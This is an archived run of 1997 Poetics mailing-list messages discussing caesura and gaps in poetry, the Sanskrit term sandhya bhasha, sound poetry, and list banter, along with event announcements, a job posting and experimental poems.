> _one_ language, is the principle of alienation which
> constitutes man as privileged in so far as he is what he is,
> [...] imprisoning him in contentment with his own reality
> and encouraging him to offer it as an example or impose
> it as a conquering assertion. -- Maurice Blanchot
> ==========

Perhaps, too, gaps call attention to the lost moments in which connections and disconnections mysteriously occur: not necessarily the X-Files abductees' stopped wristwatches, but what Paul Virilio explores in The Aesthetics of Disappearance:

> THE LAPSE OCCURS FREQUENTLY AT BREAK-
> fast and the cup dropped and overturned on the table
> is its well-known consequence. The absence lasts a
> few seconds; its beginnings and its end are sudden.
> The senses function, but are nevertheless closed to
> external impressions. The return being just as sud-
> den as the departure, the arrested word and action
> are picked up again where they have been interrupted.
> Conscious time comes together again automatically,
> forming a continuous time without apparent breaks.
> For these absences, which can be quite numerous--
> hundreds every day most often pass completely un-
> noticed by others around--we'll be using the word

> "picnolepsy" (from the Greek, picnos: frequent).
> However, for the picnoleptic, nothing really has happened, the missing time never existed. At each crisis, without realizing it, a little of his or her life simply escaped. (9-10)

--not that the gaps induce these petit-petits mal, but that they propose what Blake calls "a moment in each day which Satan cannot find," a moment brief as the "pulsation of an artery." I suppose critics might say such gaps "problemmatize" the connections assumed to exist between adjacent elements by separating them, though I'd rather think of it as "potentiating" those connections, much as the asymmetry integral to Japanese flower arrangement or traced upon the faces of Levi-Strauss' Caduveo woman [in Structural Anthropology]. As someone said earlier in this thread, Gestalt. Or a way to achieve ostranenie, the "defamiliarization" of the world which the Russian formalists saw as a central function of art [here, as an 'opening of the center']. And thanks for the H►lderlin!

Dan Zimmerman

↑ Index

818. Daniel Zimmerman
Re: name gap
Sat 29 Mar 1997

Pierre Joris wrote:
>
> re caesura -- more than a metrical or breath device, in H►lderlin, the
> caesura becomes the breathless aporia, the suspension around which the
> line, the poem organizes itself. Paul Celan, a close reader of
> H►lderlin, talks of this in a late poem:
>
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> and harrow
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> as one of the small
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> from the lottery drum falls

> our doit.
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> A number of essays in the Celan-Sekundarliteratur deal with this, but I
> haven't got the time right now to dig'em out. May your eggs be boiled
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> pierre joris 6 madison place albany ny 12202
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> Everything that allows men to become rooted, through
> values or sentiments, in _one_ time, in _one_ history, in
> _one_ language, is the principle of alienation which
> constitutes man as privileged in so far as he is what he is,
> [...] imprisoning him in contentment with his own reality
> and encouraging him to offer it as an example or impose
> it as a conquering assertion. -- Maurice Blanchot
> ==========

Sorry, Pierre: thanks for the Celan!
Dan

↑ Index

819. LYNES- KATHERINE

Re: name gap (fwd)

Sat 29 Mar 1997

---

i believe that brenda hillman [in a book of poetry the name of which i have momentarily forgotten and don't have in front of me -- i think it is in _death tractates_] uses astericks which are, according to her when she read the poems to a class at portland state, were to indicate significant pauses... longer than a "natural breath" silences? places of contemplation? [the latter being my interpretation of what she meant....].

kl

Mark Weiss wrote:

> *If there's an answer to Perelman's question it would be handy to know. I'm also cuious to find other examples of the unnamed in general.*

↑ Index

820. **Thomas Bell**
sound
Sat 29 Mar 1997

>Steve McCaffery's approach to sound
>poetry seems far more concerned with the social, because in both his early
>and late writing on sound poetry he centres on sound as the site for
>investigation of the subject of socio-linguistic relations.
>Peter Jaeger
Don't really want to single this out, but I wonder if there is any need
for what follows "centres on sound"? Does not one abandon poetry in the
"absence of all inner need" - Beckett?

or the writer must stay away from the "Big Words...the aim of writing being not to tell but to represent". Bachmann

tom bell

↑ Index

821. **Maria Damon**
Re: Is history dead?
Sat 29 Mar 1997

---

but certainly not wedding.

At 8:17 PM -0800 3/28/97, Mark Weiss wrote:
>Getting may have been a typo for for the more correct bedding or wetting.
>
>
>At 06:26 PM 3/28/97 -0600, you wrote:
>>May we have a break from the Binoche thing on this line--ii.e. is "getting"
>>here referring to her as a posession? a dog? a piece of meat? There are
>>other forum for male fantasies of this sort.
>>
>>JE
>>
>>
>>
>>
>>
>>>When I see some actor getting Binoche in a movie, I get bleu with envy.
>>>
>>>
>>>

>>>
>>>George Bowering.
>>> ,
>>>2499 West 37th Ave.,
>>>Vancouver, B.C.,
>>>Canada V6M 1P4
>>>
>>>fax: [redacted]
>>>e-mail: [redacted]
>>
>>

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822. **Christina Fairbank Chirot**

Re: Further Thoughts on the "Interior Indentation"

Sat 29 Mar 1997

Many thanks to Bob Grumman for his precise and useful notes.

Though expanding by quite a bit on Bob Grumman's noting caesura" as occuring in a line of poetry--

I've often thought of it in terms of film (the suturing of editing in relation to the gaps of montage for example)--or of the use of spaces in the work of Paul Metcalf--the space being used as visual, sound and "thought" pause--that is--making room--"making space"--for the reader/listener--to "fill in the gaps"--"make the leap"--from one mass of materials to another--or among a constellation of these--

the caesura then works dynamically--rather than marking an arrest--

Paul Virilio has written quite interestingly of an aspect of this in his books Lost Dimenison and The Aesthetics of Disappearance--Virilio notes what he calls the "picnoleptic interruption"--similar to an epileptic seizure--or the moment just preceding it--a pause, a stillness and intense awarenes--then a gap in consciousness--and no memory of what moved one from one place to the next, or from one moment in time to the next--

for Virilio--it is in these moments--that what is unavailable to memory--is introduced--

(he makes note of Pascal: "It is not the elements which are new, but the order of their arrangement". And Metcalf notes Poe, who countered the Romantic concept of Originality with the idea of taking elements and combining them to create an effect--)

in a film or in Metcalf's works--it's in the spaces in between--that the dynamism "takes place" which makes the movements among materials--generate that which is previously unavailable to memory--

this may be to extend the strict definition of Bob Grumman's byond the line of poetry-- yet the ways in which a line of poetry functions--in using notation as marks, letters spaces in spatial and temporal arrangements-- do seem to indicate a movement outward--a form of triangulation as it were--into spatial and temporarl arrangments going on--all around-- "caesura" as an opening in time & space through which rush . . .

in and out . . . that which is unavailable to memory--

"caesura" then--the Achilles heel of Caesars . . . ?

Mayakovsky:

> Four words,
> heavy as a blow:
> " . . . unto Caesar . . . unto God . . . "

a lot of pauses there--
to feel those blows raining down . . .
and thinking about getting out from under . . .

--dave baptiste chirot

On Sat, 29 Mar 1997, Bob Grumman wrote:

> *On reflection, I've concluded that "caesura" is right for any kind of pause occurring in a line of poetry, except at its end, including one that consists of two or more spaces. But "caesura" is too general, so here is my taxonomy:*
>
> *CAESURAE*
>
> *Implicit Caesurae* *Explicit Caesurae*
>
> *Punctuation-Breaks* *Internal Indentation*
>
> *I put no categories under "Implicit Caesurae" since there seems to be only one kind of unmarked caesura. The two kinds of explicit caesurae should be self-evident. Note my change of terminology from "interior indentation" to "internal indentation"--to parallel "internal rhyme."*
>
> *Now back to the real excitement here: the discussions, with terrific examples, of the VALUE rather than the NAME of these entities. --Bob G*

↑ Index

823. **Steven Marks**
Re: Further Thoughts on the "Interior Indentation"
Sat 29 Mar 1997

Faulkner, when asked about his long sentences, said something to the effect that he wanted to put all of history between a capital and a period. Equally fascinating to me is what goes on between the period and the capital. And things like the space between being asleep and being awake, between day and twilight, twilight and night, night and morning, between liquid and gas, solid and liquid and so on....

and so on...

St even

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

824. **Jocelyn Emerson**
Re: name gap (fwd)
Sat 29 Mar 1997

Her new book Loose Sugar just out from Weslyan makes more extensive "use" of such breaks dissjunctures, etc. She's reading here in Iowa City next week; if anyone's interested in how she reads from this, i can make some notes on line to wit .

JE

> *i believe that brenda hillman [in a book of poetry the name of which*
> *i have momentarily forgotten and don't have in front of me -- i think*
> *it is in _death tractates_] uses astericks which are, according to her*
> *when she*
> *read the poems to a class at portland state, were to indicate significant*
> *pauses... longer than a "natural breath" silences? places of contemplation?*
> *[the latter being my interpretation of what she meant....].*
>
> *kl*
>
> > *Mark Weiss wrote:*
> >
> > *If there's an answer to Perelman's question it would be handy to know. I'm*

> *also cuious to find other examples of the unnamed in general.*

↑ Index

825. **Mark Weiss**
Re: Is history dead?
Sat 29 Mar 1997

Or perhaps Bowering confused Binoche with brioche?

At 02:06 PM 3/29/97 -0600, you wrote:
>but certainly not wedding.
>
>At 8:17 PM -0800 3/28/97, Mark Weiss wrote:
>>Getting may have been a typo for for the more correct bedding or wetting.
>>
>>
>>At 06:26 PM 3/28/97 -0600, you wrote:
>>>May we have a break from the Binoche thing on this line--ii.e. is "getting"
>>>here referring to her as a posession? a dog? a piece of meat? There are
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>>>>fax: [redacted]
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>>>
>>>

>
>

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826. **Craig Douglas Dworkin**
terminological gaps
Sat 29 Mar 1997

Greetings All:

There seem to be plenty of terms already assembled, but for what it's worth, Denise Levertov used to call those intra-linear spaces "articulations," or more broadly "articulated lines" (a term implicit in the Duncan quote already offered); as with the line-break, she had a very precise measure for them (1/2 the pause given to a comma, or something like that).

--Craig Dworkin

↑ Index

827. **Bob Grotjohn**
Re: name gap
Sat 29 Mar 1997

I'm sorry. I couldn't help myself.

have a break from the Bin oche thing on
this line

--
Bob Grotjohn
Assistant Professor of English
Mary Baldwin College
Staunton, VA 24401

540/[redacted]
[redacted]

↑ Index

828. **nuyopoman**
Mouth Almighty Opens Wide, Says "Awe"
Sat 29 Mar 1997

March 29, 1997
POETS IN CYBERSPACE!
Mouth Almighty Records Launches Website

Come Sit for a Spell:
http://www.mouthalmighty.com

Mouth Almighty Records, the poetry/spoken word label affiliated with Mercury Records, has launched its own website. The site's address is http://www.mouthalmighty.com. "Our mission has always been to put the world's newest media at the service of the world's oldest artform," says Mouth Almighty honcho Bob Holman. "I'm very proud of our website. It's got the juice and immediacy of poetry itself and I think it'll help us reach poetry lovers everywhere -- as well as all the people who don't know yet that they love poetry." The site, which will be updated weekly, includes bios of the Mouth Almighty's artists (including Wammo, Allen Ginsberg, Michele Serros, and Sekou Sundiata), audio and video downloads of the CDs themselves (including the soundtrack to "The United States of Poetry" and "Flippin' the Script: Rap Meets Poetry"), a "secret poem" contest, and links around the globe to simpatico websites, defined by Holman as the sites of "performance poets who make you think while you dance and dance while you think." Pages will be added shortly for the Last Poets and Maggie Estep, both of whom have albums coming shortly. (The Last Poets on April 15, Maggie on July 1.) The Mouth Almighty web site was produced by Bob and Amy Trachtenberg of Naked Ear Productions and designed by Deck Reeks and Lisa Daniels for Clickstream, Inc. For more information, please call Bob Holman at [redacted] -- or drop him a line at work at the Mouth branch office in cyperspace: [redacted].

↑ Index

829. **Schuchat Simon**
Killian/Spicer
Sat 29 Mar 1997

I just want to say that Kevin Killian's piece "Faggot Vomit: Jack Spicer vs. 'the Maidens'" in the most recent issue of the Poetry Project newsletter is great.

When will the Spicer bio be available?

↑ Index

830. **Gwyn McVay**
Re: Further Thoughts on the "Interior Indentation"
Sun 30 Mar 1997

St even,

In her introduction to the City Lights edition of Kerouac's /Scripture of the Golden Sutra/, Anne Waldman sez,

> Sanskrit poetics speaks of /Sandhyabasha/ or twilight speech, which is an "upside-down" language harboring contradictions and paradoxes.

I'd love to find out her source on this--it reminds me of the Sioux (please correct me if I've misattributed this) /heyoka/, thunder-clown, who lived, spoke, and acted backwards-- Gwyn

↑ Index

831. George Bowering
Re: Getting Binoche
Sun 30 Mar 1997

> *Getting may have been a typo for for the more correct bedding or wetting.*

No no. I was using "Binoche" as an adjective. "Getting Binoche" means acting like the lead in "Bleu". That is. walking around with no expression on one's face, but rtelying on the music and lighting to convey one's inner turmoil.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

832. nico vassilakis
Re: name gap
Sun 30 Mar 1997

r e:namegapageman:e r
re :namegapageman: er
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re:namegapage ma n:er
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833. Alan Jen Sondheim
(fwd)(long)(Jennifer's gap)
Sun 30 Mar 1997

---

helpe min se halga dryhten THu gesceope heofon und eorTHan

I climb 1 steps to heaven
I climb 12 steps to heaven
I climb 25 steps to heaven
I climb 40 steps to heaven
I climb 57 steps to heaven
I climb 76 steps to heaven
I climb 97 steps to heaven
I climb 120 steps to heaven
I climb 145 steps to heaven
I climb 172 steps to heaven
I climb 201 steps to heaven
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I climb 265 steps to heaven
I climb 300 steps to heaven
I climb 337 steps to heaven
I climb 376 steps to heaven
I climb 417 steps to heaven
I climb 460 steps to heaven
I climb 505 steps to heaven
I climb 552 steps to heaven
I climb 601 steps to heaven
I climb 652 steps to heaven
I climb 705 steps to heaven
I climb 760 steps to heaven
I climb 817 steps to heaven
I climb 876 steps to heaven
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I climb 1000 steps to heaven
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I climb 1132 steps to heaven
I climb 1201 steps to heaven
I climb 1272 steps to heaven
I climb 1345 steps to heaven
I climb 1420 steps to heaven
I climb 1497 steps to heaven
I climb 1576 steps to heaven
I climb 1657 steps to heaven
I climb 1740 steps to heaven
I climb 1825 steps to heaven
I climb 1912 steps to heaven
I climb 2001 steps to heaven
I climb 2092 steps to heaven
I climb 2185 steps to heaven
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I climb 2476 steps to heaven
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I climb 3001 steps to heaven
I climb 3112 steps to heaven
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I climb 3340 steps to heaven

I climb 3457 steps to heaven
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I climb 4465 steps to heaven
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I climb 39577 steps to heaven
I climb 39976 steps to heaven
I climb 40377 steps to heaven
I climb 40780 steps to heaven
I climb 41185 steps to heaven
I climb 41592 steps to heaven

↑ Index

834. **Bil Brown**
Re: Mouth Almighty Opens Wide, Says "Awe"
Sun 30 Mar 1997

Hey Bob,

Geat to hear it. Do me a favor and see if you can record Brenda Coultas. I KNOW you know who she is & I know YOU know her work. Brenda's modesty needs to be supplimented by exposure!! Her wit/intellegence treated with kindness and nurturing.

***

On a side note: The VOX Festival down here in Louisville seems to be chugging along. I'm a little burnt around the edges... but poetic fire burns pure. If you could take the below message and send it on some of your email lists I would greatly appreciate it!!!

Cheers,

Bil Brown

********For IMMEDIATE RELEASE**********
A little something something for you all...

The First Annual VOX Festival: April 25-27 1997

Louisville's first Poetics and Performance Conference will bring Oral Performance from some of the key Spoken Word and performance artists from around the country to the Louisville Metropolitan area, for three days of panel discussions, workshops,demonstrations and music, featuring some of the most controversial and prolific of Performing Spoken Artists in America.

INCLUDING:
Nicole Blackman
Brenda Coultas
Anne Elliott
Anne Waldman
Pasq Wilson
Todd Colby
and others...

REGISTRATION RATES & DEADLINES:
Postmarked by March 25th, 1997 (Extended Deadline April 15th)
$15 postage paid all event pass
$25 event pass after April 15th
Check & Money Order Only, Please
Make Check out to VOX Festival
Write for more info on registration to:

VOX Festival
c/o The Kentucky Writers Coalition
Clifton Center
2117 Payne Street Suite 304-B
Louisville, KY 40206

Call The VOX Voice-Mail HOTLINE
[redacted]
or Email [redacted]

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835. **Bil Brown**
Re: Mouth Almighty Opens Wide, Says "Awe"
Sun 30 Mar 1997

Sorry to send the last mssg to the list.. it was personal to BOB. I ment no harm and was confused. Forgive.

(But, gee I sure do HOPE Bob gets it...)

Bil Brown

↑ Index

836. **David R. Israel**
Re: Getting Binoche / don't Sokohl
Sun 30 Mar 1997

George Bowering alleges:

> *Getting may have been a typo for for the more correct bedding or wetting.*
>
> *No no. I was using "Binoche" as an adjective. "Getting Binoche" means acting like the lead in "Bleu". That is. walking around with no expression on one's face, but rtelying on the music and lighting to convey one's inner turmoil.*

If this is legit, it reminds a bit of our honorable List-meister's contribution to the 17-poets-marathon (assoc. w/ the MLA conference in DC, few months ago) at the 4 Seasons Hotel --

Mr. Bernstein recited (well, sang) a work the memorable lyric refrain whereof was:

>Don't Sokohl me! . . .
or
>So don't Sokohl me!

Sorry I can't recite chapter & verse anent the literary antecedents -- I think he mentioned the work of Danny Kaye. At the time, I didn't get it -- the name Sokohl didn't happen to ring a bell. But then somehow or other, it dawned on me (poss. when browsing thru the New York Rev. of Books or something) that Sokohl was the chap who'd pulled that lit-crit caper (submitting a pseudo-post-mod piece to a journal that was published as if serious . . .)

So now we have

>getting Binoche
and
>don't Sokohl

is this just the beginning?

d.i.

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.David.....Raphael.....Israel...'
<[redacted]>
[&/[redacted]]
{telephonic.location.202/[redacted]}
| "...honk if you believe in geese" |
\\\/////\\\\\\\\\/\///&\\\/\/////////\\\\\\///..'

↑ Index

837. David R. Israel
as for Sandhyabasha
Sun 30 Mar 1997

Poetas,

so happens I've lately joined an Indology listproc [similar to listserv]. This is mainly comprised of non-nonsense specialists, so one must mind one's Ps & Qs a bit, but anyway so far they've been nice to amateur-me -- so I presumed to forward to that list Gwyn's interesting question. I also provided -- in said forwarding -- what amounts to a bit of annotation anent the Sandhyabasha question -- though I suspect some more detailed & particular stuff'll surface pretty soon. But I thought even this bit might interest you'all a bit, ergo attaching same. I'll not deluge Poetics w/ everything that might appear on Indology re: Sandhyabasha, but will perhaps forward one or two things if they look to be of interest here. Will see.

yours truly,
d.i.

------- Forwarded Message Follows -------
Date: Sun, 30 Mar 1997 14:10:45 BST
From: "David R. Israel" <[redacted]>
To: Members of the list <[redacted]>
Subject: "Sandhyabasha"

Respected Indologists --

on the Poetics listserv (based at Univ. of Buffalo, and an active hub for avant-chitchat), poet Gwyn McVay posted this inquiry:

~~~
~~~

In her introduction to the City Lights edition of Kerouac's /Scripture of the Golden Sutra/, Anne Waldman sez,

> Sanskrit poetics speaks of /Sandhyabasha/ or twilight speech, which is an "upside-down" language harboring contradictions and paradoxes.

I'd love to find out her source on this--it reminds me of the Sioux (please correct me if I've misattributed this) /heyoka/, thunder-clown, who lived, spoke, and acted backwards-- Gwyn
~~~~~~

Perhaps the mentioned device in Sanskrit poetics is too familiar to merit special Indology discussion -- but I wonder if someone might care to present a few useful references abt. this?

[I myself recall reading (maybe 15-20 years ago) an essay on the topic by an Indologist (somehow I think the essay-book was published in USSR, oddly) -- but I forget the bloke's name or other particulars. I'd picked up the vol., so happens, at Shambhala Books in Berkeley; the subject was indeed an interesting one, in terms of poetics. As I recall, the sort of backwards-speech in question (a form of irony) was traced back quite far -- I think to the Ramayana -- though naturally was more prevalent in far-subsequent court poetry & such. But I' m speaking here from a too-vague recollection of that essay.]

ALSO, while on this Sanskrit poetics topic: is there, by chance, any manner of critical consensus regarding the lovely-looking translation of Sanskrit poetry verses, in which American poet W.S. Merwin was involved, entitled *The Peacock's Egg* (published by the erstwhile North Point Press), I wonder? Merwin collaborated w/ that psycholigist chap Massoud (who managed, later, to get into some fine controversies, I've noted -- w/ the Freud Archives, et seq.)

thanks / best,
d.i.

↑ Index

838. **Steven Marks**
Re: Further Thoughts on the "Interior Indentation"
Sun 30 Mar 1997

On Sun, 30 Mar 1997, Gwyn McVay wrote:

This sounds very interesting. I hope that David Israel can get us some more info on this.
~~~~~~

> *Sanskrit poetics speaks of /Sandhyabasha/ or twilight speech, which is an "upside-down" language harboring contradictions and paradoxes.*
>
> *(please correct me if I've misattributed this) /heyoka/, thunder-clown, who lived, spoke, and acted backwards--*

I've never heard of this term. I remember learning about secret societies such as the "contraries" who would say good-bye when you met them and hello when they left you. (Or the Native American equivalents.) There's a scene in _Little Big Man_ where the man whose life was saved by Dustin Hoffman's character demonstrates this behavior. As I remember from a college class on N. Am. Indians, these societies were composed of the bravest of the brave. It certainly must have been difficult to remember to do everything backward.

best,
St even

P.S. alan jen sondheim: I get the mathematical engine (add the odd numbers to the preceding term beginning with 11) but not the one for the letters. Looks like maybe we should be reading some groups of letters forward and some backwards.

P.P.S. Nico V. -- enjoyed your evolving palindrome.

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

839. David R. Israel
(Fwd) Job Opportunity (U. Manitoba)
Sun 30 Mar 1997

1st: thanks, St even, for interest in twilight speech (which, for starters, has been corrected to sandhya bhasa (from "sandhyabasha" cited by Gwyn from Ann W.'s preface to Jack K.) --

my impression of the term is that it was a rather broad Sanskrit poetics techno-term for "irony" or "ironic utterance" -- not necessarily backwards in the literal ways you mention. (Have gotten one reply so far, referencing unorthodox Sakta traditions of Tamil Nadu . . . will see what'all else turns up.)

Meanwhile, on another topic, there's a job out there for one who's (a) an expert in women's studies / humanities, and (b) interested in living in Manitoba. That info follows.

best, d.i.

------- Forwarded Message Follows -------
Date: Tue, 25 Mar 1997 22:40:24 GMT
From: Hueckstedt <[redacted]>
To: Members of the list <[redacted]>
Subject: Job Opportunity

List Members: There is a job opportunity here at the University of Manitoba, but it is not specifically for South Asianists. It is for people in women's studies and the humanities. Therefore, South Asianists who have expertise in those areas would probably be able to apply. A copy of the advertisement is at this web site: http://www.umanitoba.ca/programs/womans_studies/job.html

The application deadline is 30 April.

This is a tenure-track, full-time position.

I know nothing more about this position than I have already described above. Questions about it should be directed to the Women's Studies Program at the University of Manitoba.

Best,
Bob Hueckstedt

Robert A. Hueckstedt, Associate Professor of Indic Languages
Asian Studies Centre, 328 Fletcher Argue, University of Manitoba
Winnipeg, Manitoba R3T 2N2 Canada
http://www.umanitoba.ca/faculties/arts/asian_studies
fax [redacted] phones [redacted], [redacted]

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840. **Mark Weiss**
Re: Getting Binoche
Sun 30 Mar 1997

Oh--getting as in "getting a cold"

At 10:39 PM 3/29/97 -0800, you wrote:
>>Getting may have been a typo for for the more correct bedding or wetting.
>
>
>No no. I was using "Binoche" as an adjective. "Getting Binoche" means
>acting like the lead in "Bleu". That is. walking around with no expression

>on one's face, but rtelying on the music and lighting to convey one's inner
>turmoil.
>
>
>
>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]
>e-mail: [redacted]
>
>

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841. **Mark Weiss**
Re: Getting Binoche / don't Sokohl
Sun 30 Mar 1997

Actually, Bernstein didn't invent this piece of grammar. Think of name-verbs like "Boycott."

At 07:18 AM 3/30/97 -0500, you wrote:
>George Bowering alleges:
>
>> >Getting may have been a typo for for the more correct bedding or
>> >wetting.
>>
>> No no. I was using "Binoche" as an adjective. "Getting Binoche"
>> means acting like the lead in "Bleu". That is. walking around with
>> no expression on one's face, but rtelying on the music and lighting
>> to convey one's inner turmoil.
>
>If this is legit, it reminds a bit of our honorable List-meister's
>contribution to the 17-poets-marathon (assoc. w/ the MLA conference
>in DC, few months ago) at the 4 Seasons Hotel --
>
>Mr. Bernstein recited (well, sang) a work the memorable lyric refrain
>whereof was:
>

>>Don't Sokohl me! . . .
>or
>>So don't Sokohl me!
>
>Sorry I can't recite chapter & verse anent the literary antecedents
>-- I think he mentioned the work of Danny Kaye. At the time, I
>didn't get it -- the name Sokohl didn't happen to ring a bell. But
>then somehow or other, it dawned on me (poss. when browsing thru the
>New York Rev. of Books or something) that Sokohl was the chap who'd
>pulled that lit-crit caper (submitting a pseudo-postmod piece to a
>journal that was published as if serious . . .)
>
>So now we have
>
>>getting Binoche
>and
>>don't Sokohl
>
>is this just the beginning?
>
>d.i.
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>.David..........Raphael..........Israel...'
><[redacted]>
>[&/[redacted]]
>{telephonic.location.202/[redacted]}
>| "...honk if you believe in geese" |
>\\\/////\\\\\\\\\/\//&\\\/\/////////\\\\\\//..'
>
>

↑ Index

842. **David Bromige**
alan jen sondheim's poem
Sun 30 Mar 1997

heaven 2 steps 12 climb I (db.

↑ Index

843. **David R. Israel**
Re: sandhyabhasha
Sun 30 Mar 1997

Bruce --

thanks much for the corrective note. I do recall reading (as mentioned) an interesting essay from an Indologist dealing with certain (and various) specific types of poetical irony in Sanskrit. One early citation, I think, may have involved the well-known verse from Ramayana, wherein Valmiki ponders with wonderment how out of soka [sorrow] came sloka [verse] (though if this was in fact cited in the context of the development of irony in Skt. poetics, I'm afraid I lose the particulars of exactly why it was felt to be relevant) Many other later references included not only primary sources (esp. from court poetry or dramatic works), but also what seemed to be a rather sophisticated theory-context from the medieval grammarians & suchlike. In any event, seeing the quotation with reference to "twilight language" from Waldman, I mistakenly conflated the latter term with this other (quite different) Skt. subject-matter.

The post from Ganesan with references to Tamil Siddha tradition did put me on the alert that I had likely confused these disperate ideas; -- and now you've quite clarified the matter. When thus conversing w/ experts, perhaps I shd. make a greater modicum of effort to check my initial notions; -- anyway, again thanks for setting this right.

best,
d.i.

> *From:* [redacted]
> *Date:* *Sun, 30 Mar 1997 09:50:28 -0700 (MST)*
> *Subject:* *sandhyabhasha*
> *To:* [redacted]
>
> *David:*
>
> *Masson was a fine Sanskrit scholar who turned his attn. to psychanalysis.*
>
> *"Sandhya-bhasha" (sa.mdhyaa-bhaa.syaa) has little to do with irony or "upside-down" language, despite the quote from Anne Waldman.*

> *Sanskrit poetics was not concerned with this term or mode of expression. It refers to the use of language to conceal meaning from non-initiates, and is most often applied to describe texts of Tantric traditions. Since some Tantric traditions were/are esoteric and sought to transmit teachings only to those properly initiated, coded language was used, such that sun = male, moon = female, or whatever. Any discussion of Tantra, especially Hindu, will treat this phemonenon, sometimes also called "intentional language."*
>
> *Bruce M. Sullivan*

↑ Index

844. **Peter Jaeger**
Re: sound, McCaffery
Sun 30 Mar 1997

> *>Steve McCaffery's approach to sound poetry seems far more concerned with the social, because in both his early and late writing on sound poetry he centres on sound as the site for investigation of the subject of socio-linguistic relations.*
> *Peter Jaeger*
>
> *Don't really want to single this out, but I wonder if there is any need for what follows "centres on sound"?*

Tom,

I was trying to point out that Steve McCaffery's *theorization* of sound poetry explicitly considers the social. In the 1978 catalogue for the 11th international sound peotry festival, he wrote that sound poetry is opposed to all social pre-conditioning. Then in the mid 80s he criticized some sound poetry for privileging lexical meaning by exempting it altogeher...this shift might owe something to his intrest in Bataille, because a complete exemption of lexical meaning would be restrictive, and so contrary to Steve's desire for simultaneous production and loss...a desire that foregrounds the social production of meaning

Peter

↑ Index

845. **David R. Israel**
Re: Getting Binoche / don't Sokohl / gotta Boycott
Sun 30 Mar 1997

Quoth Mark Weiss --

> *Actually, Bernstein didn't invent this piece of grammar. Think of name-verbs like "Boycott."*

no, not to suggest he invented the grammatical principle; but he did apply it (as did, we read, Mr. Bowering). My post was by way of pointing to another (i.e., Bernstein's) instance of the principle (and, for that matter, wondering abt. what'all further cases might be floating around the universe). Didn't know about Mr. [?] Boycott, but even this late in the game, always good to get up to speed.

best, d.i.

> *So now we have*
>
> *getting Binoche*
> *and*
> *don't Sokohl*

↑ Index

846. David Bromige
Easter Sunday afternoons, when the Mall is closed
Sun 30 Mar 1997

I've been bowering my mind for something pithy to say. db

↑ Index

847. Dan Raphael Dlugonski
Re: NEA/ NPM (national poetry month/ etc
Sun 30 Mar 1997

NEA-- biting the hand the feeds us (or a small percentage of us).
some crumbs are better than
no food at all.
how anything can used to sow disruption.
fighting over the scraps of a continually shrinking pie.

the main censorship we're fighting is economic, the mass markets, controlling the tastes tfor safety and for releasing steam, to drift us into fantasy and self-hatred and internal competition.

what can be done, typing away in isolation, or writing against the flow. like something i recently read, not like david vs goliath but more like shirley temple vs king kong. can get hopeless. act locally. maintain the magic.

and here's a somewhat political poem:

"EARTH FIRST.
WE'LL LOG THE OTHER PLANETS LATER"
(bumperticker)

a corrugated line knits this tight diffuse sweater
thru the asphalt, the latex, the momentum of routine
canalized like sugar, cannibalizing this ghost zoo of images
melting in the waste-stream of self-desiccating tear ducts
i can't imagine that chunky, that prolific in color, intense organic value
an economy too diverse to exploit without killing

designer body germs fine-tune our spasms like optic cables
flossing the inner kidney's endocrine hosanna,
running ridge-tops at 10 miles per hour for days
with the green leaves thru every orifice
so the sun won't set the moon forever in my pineal
i'm 6-legged 8-armed frisbee pollen
germinating between a thousand unnamed species
to croon to set a fine table spew energy beyond our needs and laws
since we're all family since we all speak separate languages
the way your eye is a tattoo of a dog
wearing a flame skirt and thermonuclear ear tag
jumps between the 19th and 20th vertebrae
ribs straining like the radiator on the 18th floor
with walls removed by acid vision,
sulfuric tarantulas teleporting from almagordo wearing green eye-shades
and dealing a realignment of dna razor-wire
capable of showing up unexpected
despite layers of pavement despite a lack of conversation,

There's so much work unacknowledged in replacing knees with stained glass
never wearing pants or leggings;
an environment for the numb; a church for those with several bodies--
knock and you're at risk, ask
& your voice is no longer your own

we slowly strip search the earth:
fewer species are easier to count, easier to inventory
scanning dna's complex bar code, a treasure map encrypted in alien physics

so we drill in the backyard on the moon
in long volcano teeth psychics show beneath wall street icon
morphing into textured phoenixes rise from the desert
to greenhouse this land with no official history;
preserving old structures as batteries to focus meat-time
as more bodies gather to tympanize the substrata,
to throw me onto a pavement of rain and possibili-
ties,
floodtide of used condoms and unopened labelless
cans
i pray my deepest instinct/luck to know
what won't react, what is safe
enough to eat
safe enough to stick your mouth on the exhaust
pipe of

"they say the best things in life are free. but you can give them to the birds and bees"

↑ Index

848. **simon**
Re: as for Sandhyabasha
Sun 30 Mar 1997

---

sandhyaa is "evening" or "twilight"

sandhyaa is, as well, a selection or group of Vedic hymns recited as part of the morning or the evening prayers

beth simon

↑ Index

849. **Stephen Vincent**
Re: Getting Binoche / don't Sokohl / gotta Boycott
Sun 30 Mar 1997

D.I writes:
> Didn't know about Mr. [?] Boycott,
>but even this late in the game, always good to get up to speed.

Godspeed (?)

Eggs & Easter, Happy.

Stephen Vincent

↑ Index

850. **simon**
Re: sandhyabhasha
Sun 30 Mar 1997

---

sandhyaa "twilight" bhaashaa "language" is a cover label for the highly codified set of interrelated metaphors used in texts where surface meaning differs substantially from functional meaning. sandhyaa bhaashaa both obscures the functional and, for those for whom such texts are practical outlines or guides, provides the key words or catalysts for specific (mental or physical) actions.

beth simon

↑ Index

851. **David R. Israel**
Re: as for Sandhyabasha
Sun 30 Mar 1997

---

from beth simon --
> sandhyaa is "evening" or "twilight"
>
> sandhyaa is, as well, a selection or group of Vedic hymns recited as
> part of the morning or the evening prayers

ah yes -- to take this toward another tangent: "sandhyaa" was thus the morning prayer that Ramakrishna suggested (to his Hindu devotees) should be practiced as prescribed -- until such time as the need for all that falls away . . . (recited while bathing in Ganges . . .)

but back to McVay's original interest: there are indeed some precise Sanskrit poetics terms for various of forms of irony in poetry

(it simply turns out that SB isn't one of 'em . . .)

d.i.

↑ Index

852. **David Bromige**
explication du texte
Sun 30 Mar 1997

I've been scouring-in-a-bowering-like manner my mind, in hopes that something bowering-like (pithy & amusing & unforgettable) will form in words. db

↑ Index

853. **Douglas Barbour**
Re: Mind the gap
Sun 30 Mar 1997

